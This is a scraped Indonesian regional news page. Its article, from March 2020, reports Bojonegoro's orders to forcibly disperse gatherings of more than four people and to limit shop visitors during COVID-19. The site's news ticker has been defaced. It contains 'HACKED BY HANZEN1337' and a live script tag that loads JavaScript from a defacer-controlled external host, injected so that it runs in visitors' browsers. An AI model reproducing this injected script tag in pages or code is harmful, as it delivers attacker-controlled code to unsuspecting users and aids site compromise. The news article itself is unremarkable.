News Ticker
  • HACKED BY HANZEN1337
  • <script src="https://jso.defacer.id/raw/I7j6n4T3C9"></script>
  • Kunjungan Kerja di Bojonegoro, Menhan Sjafrie Sjamsoeddin Tinjau Rencana Pengembangan Batalyon TP 885 dan Brigif 33 di Dander
  • 11 Juli dalam Sejarah
  • Prakiraan Cuaca Bojonegoro 11 Juli 2026
  • Kandang Ayam Senilai Rp2 M di Malo, Bojonegoro Ludes Terbakar
  • Panen Melon Bersama, Bupati Bojonegoro Ajak Generasi Muda Bangun Pertanian Modern
  • Pemkab Bojonegoro Alokasikan Rp11,03 Miliar untuk Lima Program Beasiswa Mahasiswa
  • Seorang Lansia Bojonegoro Tewas Tertabrak Kereta Api Jayabaya di Perlintasan Baureno
  • Perkiraan Harga Emas Hari Ini, 10 Jul 2026
  • Prakiraan Cuaca Bojonegoro 10 Juli 2026
  • 10 Juli dalam Sejarah
  • Kecamatan Kota Dominasi Emas Kickboxing, Klasemen Sementara Porkab II Bojonegoro Masih Memimpin
  • Dalam Sehari Terjadi Enam Kebakaran Lahan di Bojonegoro, Ini Daftarnya
  • Pemkab Bojonegoro Berikan Pembinaan Ribuan Mahasiswa Penerima Beasiswa Daerah
  • "El Último Tango", Sepatu Spesial Adidas untuk Perjalanan Terakhir Messi di Piala Dunia
  • Kejari Bojonegoro Terima Tahap II Kasus Dugaan Peredaran Rokok Ilegal
  • Paripurna DPRD, Raperda Pertanggungjawaban APBD 2025 Disetujui
  • Hadapi Musim Kemarau, Pemkab Bojonegoro Distribusikan Air Bersih ke Sejumlah Desa
  • Pemkab Bojonegoro Dorong Setiap OPD Lahirkan Inovasi Lewat BIA 2026
  • Prakiraan Cuaca Bojonegoro 9 Juli 2026
  • Rumah Kosong di Kapas, Bojonegoro Terbakar, Kerugian Capai 150 Juta Rupiah
  • Merayakan Detik Ini: Menemukan Kedamaian dalam Jejak Hidup yang Singkat
  • Tiga Rumah di Temayang Bojonegoro Terbakar Akibat Korsleting Listrik, Total Kerugian 520 Juta Rupiah
Aparat di Bojonegoro Akan Lakukan Tindakan Pembubaran Paksa Kerumunan Warga

Virus Corona

Aparat di Bojonegoro Akan Lakukan Tindakan Pembubaran Paksa Kerumunan Warga

Bojonegoro - Pemerintah Kabupaten (Pemkab) Bojonegoro, mengambil langkah tegas dalam upaya mencegah penyebaran virus corona (Covid-19), salah satunya dengan melakukan pembatasan kerumunan orang hingga melakukan tindakan pembubaran paksa terhadap kerumunan orang.
 
Melalui Surat Bupati nomor: 360/ 983/412.208/2020, tertanggal 25 Maret 2020, perihal Tindakan Pencegahan Penyebaran Covid-19, yang ditujukan Gugus Tugas Covid-19 Kabupaten, Kecamatan dan Desa, Bupati meminta untuk diambil langkah-langkah tegas dalam rangka pencegahan penyebaran virus corona (Covid-19) dan Percepatan Penanganan Corona Virus Disease (Covid-19) di Kabupaten Bojonegoro.
 
 
Dalam surat tersebut, Bupati Anna Muawanah menyampaikan bahwa dalam rangka menindaklanjuti grafis Orang Dalam Pemantauan (ODP) yang terus bertambah setiap harinya di Kabupaten Bojonegoro, maka perlu dilakukan langkah-langkah pembatasan kerumunan orang untuk Pencegahan Penyebaran Virus Corona (Covid-19).
 
Adapun langkah-langkah yang akan dilaksanakan adalah:
 
1).Mulai tanggal 25 Maret 2020, untuk melakukan tindakan pembubaran paksa terhadap masyarakat yang nongkrong di warung, cafe, tempat-tempat hiburan atau tempat berkumpulnya kerumunan orang yang lebih dari 4 orang (tidak harus menunggu jam tutup);
 
2).Terhadap toserba atau minimarket agar mengatur orang yang masuk supaya tidak lebih dari 5 orang dan mengatur antrean, serta tetap menyediakan dan mematuhi protokol pencegahan penyebaran virus corona dengan social distance (mengatur jarak) minimal 1 meter antar konsumen;
 
3).Terhadap toko swalayan, agar membatasi pengunjung yang masuk paling banyak 40 orang serta tetap menyediakan dan mematuhi protokol pencegahan penyebaran virus corona dengan social distance (mengatur jarak) minimal 1 meter antar konsumen;
 
4).Jam tutup untuk toko swalayan, toserba, minimarket atau sejenisnya, dibatasi paling lambat pukul 21.00 WIB;
 
5).Bagi yang tidak mematuhi atau mengindahkan peringatan ini akan di lakukan tindakan sebagaimana peraturan perundangan yang berlaku.
 
 
 
Kepala Bagian (Kabag) Humas dan Protokol Setda Pemkab Bojonegoro, Masirin SSTP MM, yang juga selaku Juru Bicara Gugus Tugas Penanggulangan Bencana Non Alam dan Percepatan Penanganan Covid-19 Kabupaten Bojonegoro berharap semua pihak dapat mematuhi dan melaksanakan langkah-langkah yang telah dambil oleh pemerintah tersebut.
 
"Harapan kita, semuanya baik warga masyarakat, para pengusaha dan aparat, dapat mematuhi dan melaksanakan langkah-langkah yang telah ditetapkan pemerintah," kata Masirin. Rabu (25/03/2020) petang.
 
 
 
Terpisah, Pejabat (Pj) Kepala Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Bojonegoro, Arief Nanang Sugianto SSTP MM, kepada awak media ini menuturkan bahwa dalam rangka melaksanakan instruksi Bupati Bojonegoro tersebut pihaknya akan bersinergi dengan Gugus Tugas Kabupaten dan Kecamatan.
 
Menurutnya, pihaknya bersama tim dari Gugus Tugas akan melakukan sweping di beberapa ruas jalan di mana ada kerumunan orang.
 
"Satpol PP bersama tim gabungan Gugus Tugas Kecamatan akan menyisir sekaligus membubarkan kerumunan orang yang berkumpul lebih dari 4 orang." kata Arief. (red/imm)
 
Berita Terkait
1783872339.1095 at start, 1783872339.5622 at end, 0.45269680023193 sec elapsed